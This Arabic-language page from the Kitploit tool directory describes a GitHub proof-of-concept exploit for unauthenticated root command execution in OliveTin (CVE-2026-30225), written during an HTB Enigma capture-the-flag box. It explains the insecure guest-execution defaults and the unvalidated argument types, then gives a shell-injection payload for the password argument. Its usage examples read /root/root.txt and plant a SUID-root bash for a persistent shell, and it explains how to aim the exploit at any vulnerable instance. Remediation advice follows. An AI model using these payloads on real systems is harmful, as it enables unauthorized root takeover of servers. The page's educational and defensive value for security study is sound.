Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-30225-OliveTin-RCE — إثبات مفهوم لاستغلال ثغرة تنفيذ الأوامر عن بُعد غير المصادق عليها في OliveTin (CVE-2026-30225) عبر الإعدادات الافتراضية غير الآمنة للضيوف وأنواع الوسائط غير المُتحقق منها، مما يتيح الحصول على قشرة جذر على الحالات المعرضة للخطر. | Kitploit
أدوات/GitHubGitHub/hackerking24/cve-2026-30225-olivetin-rce
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقالتعلم والتعليمالفريق الأحمر

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
hackerking24/cve-2026-30225-olivetin-rce

CVE-2026-30225-OliveTin-RCE

إثبات مفهوم لاستغلال ثغرة تنفيذ الأوامر عن بُعد غير المصادق عليها في OliveTin (CVE-2026-30225) عبر الإعدادات الافتراضية غير الآمنة للضيوف وأنواع الوسائط غير المُتحقق منها، مما يتيح الحصول على قشرة جذر على الحالات المعرضة للخطر.

عرض المستودع
منذ 2 أياملم تتم المراجعة بعد

OliveTin — تنفيذ إجراءات غير مصادق عليها → تنفيذ أوامر عن بُعد (+ CVE-2026-30225)

إثبات مفهوم (PoC) لتصعيد الامتيازات / تنفيذ أوامر عن بُعد ضد مثيلات OliveTin التي تعمل بالإعدادات الافتراضية المرفقة للضيوف. تم التحقق منه ضد OliveTin 3000.10.0 يعمل بصلاحيات root (HTB: Enigma)، حيث يمنح وصولاً جذريًا (root shell) غير مصادق عليه.

⚠️ للاستخدام المصرح به فقط. نُشر لأغراض تعليمية، ولعب CTF، والبحث الدفاعي. استخدامه ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها غير قانوني. لا يوجد أي ضمان. انظر LICENSE.

الثغرات

أ. يمكن للضيف تنفيذ الإجراءات (إعداد افتراضي غير آمن)

يأتي ملف الإعداد المثال / الافتراضي في OliveTin مع:

root@kitploit:~
authRequireGuestsToLogin: false
defaultPermissions: { view: true, exec: true, logs: true }

مع هذا، يمكن لمتصل غير مصادق عليه (WhoAmI ← "guest") استدعاء StartActionAndWait وتشغيل أي إجراء. تُنفَّذ الإجراءات كمستخدم عملية OliveTin — وغالبًا ما يكون root.

ب. أنواع وسائط بدون أي تحقق

internal/executor/arguments.go ← TypeSafetyCheck():

root@kitploit:~
case "password":               return nil
case "raw_string_multiline":   return nil
case "checkbox":               return nil

هذه الأنواع لا يتم التحقق منها إطلاقًا. أي إجراء يُدرج وسيطًا من هذا النوع في قالب shell: الخاص به يُعدّ نقطة حقن أوامر. على Enigma، يحتوي ملف /etc/OliveTin/config.yaml الحي على:

root@kitploit:~
- id: backup_database
  shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
  arguments:
    - { name: db_user, type: ascii_identifier }
    - { name: db_pass, type: password }        # <-- غير مُتحقق منه، يقع داخل -p'...'
    - { name: db_name, type: ascii_identifier }

db_pass = x'; <cmd>; echo __OT_DONE__ # يُغلق علامة الاقتباس -p'…'، ويُسلسل <cmd>، و # يُعلّق الجزء المتبقي ' <db_name> > /opt/backups/backup.sql.

أ + ب ضد OliveTin بصلاحيات root = تنفيذ أوامر عن بُعد غير مصادق عليه بصلاحيات root.

ج. CVE-2026-30225 — إسقاط سياق المصادقة في RestartAction

يعيد RestartAction بناء الطلب الداخلي دون حمل ترويسات/كوكيز المصادقة للمتصل، لذا فإن إعادة التشغيل تُحل دائمًا إلى مستخدم الضيف (تجاوز قائمة التحكم بالوصول ACL عندما يكون الضيف أكثر امتيازًا من المتصل). تم إصلاحه في 3000.11.1.

في الإصدارات ≤ 3000.10.x يكون المعالج أيضًا منفّذًا جزئيًا (// FIXME) ويُرسل BindingId فارغًا، لذا فهو يعيد فقط action with ID "" not found ولا يمكنه إعادة تنفيذ أي شيء. يُبلغ test-restart عما يفعله الهدف فعليًا. على Enigma هذا المسار لا يعمل — المشكلتان أ + ب هما ما يمنحان تنفيذ الأوامر.

المتطلبات

  • Python 3.8+ ومكتبة requests — pip install -r requirements.txt
  • وصول شبكي إلى واجهة OliveTin API (غالبًا 127.0.0.1:1337؛ استخدم نفقًا/نقطة انطلاق حسب الحاجة — على Enigma فقط المستخدم uid 1000 يمكنه الوصول إلى المنفذ).

الاستخدام

root@kitploit:~
./exploit.py -u http://127.0.0.1:1337 <mode>

modes:
  check                     الهوية، قائمة الإجراءات، الوسائط القابلة للحقن، حالة CVE-2026-30225
  test-restart              فحص سلوك RestartAction فقط
  exploit --action <id> [--set NAME=VALUE ...] [--inject NAME --quote {single,double,none} --cmd '<cmd>']

global:
  --cookie 'olivetin-sid-local=...'   التصرف كمستخدم محلي مصادق عليه (اختياري)

أمثلة

root@kitploit:~
# استطلاع
./exploit.py -u http://127.0.0.1:1337 check

# HTB Enigma: تشغيل أمر بصلاحيات root
./exploit.py -u http://127.0.0.1:1337 exploit \
    --action backup_database --set db_user=root --set db_name=x \
    --inject db_pass --quote single --cmd 'id; hostname; cat /root/root.txt'

# إسقاط bash بصلاحيات SUID-root لصدفة دائمة
./exploit.py -u http://127.0.0.1:1337 exploit \
    --action backup_database --set db_user=root --set db_name=x \
    --inject db_pass --quote single --cmd 'cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb'
#   ثم:  /tmp/rb -p

يعيد StartActionAndWait مخرجات الأمر القياسية في logEntry.output، لذا تأتي المخرجات (العلم، uid=0(root)، …) مباشرة في الاستجابة.

ضد هدف عام

يسرد check كل إجراء مرئي ويُعلّم تلك التي تستخدم وسائطها نوعًا بدون تحقق. اختر واحدًا، واكتشف كيف يُقتبس الوسيط في سلسلة shell: الخاصة به (--quote single|double|none)، ثم نفّذ exploit --inject <arg> --cmd '<payload>'. يمكن تشغيل الإجراءات غير المعروضة على أي لوحة تحكم بالنقر على معرفها (--action <id>).

المعالجة

  • الترقية إلى OliveTin ≥ 3000.11.1.
  • اضبط authRequireGuestsToLogin: true وأزل exec من صلاحيات الضيف/الافتراضية؛ وامنح كل قائمة تحكم بالوصول (ACL) الحد الأدنى الذي تحتاجه.
  • لا تشغّل OliveTin أبدًا بصلاحيات root؛ استخدم مستخدمًا مخصصًا منخفض الامتياز (وuser: لكل إجراء حيثما كان مدعومًا).
  • تعامل مع كل وسيط إجراء على أنه خاضع لتحكم المهاجم بغض النظر عن type؛ وتجنب إدراج الوسائط في سلاسل shell: — فضّل صيغة وسائط exec: واقتبس/تحقق بدقة.

المراجع

  • GHSA-p443-p7w5-2f7f / CVE-2026-30225 — RestartAction في OliveTin يشغّل الإجراءات كضيف
  • وثائق ACL / المصادقة المحلية في OliveTin — https://docs.olivetin.app/security/acl.html
  • internal/executor/arguments.go (TypeSafetyCheck)، internal/api/api.go (RestartAction, StartAction)

الإشادات

البحث وإثبات المفهوم أثناء اختراق HTB: Enigma (www-data → haris → OliveTin → root).

تنزيل الأداة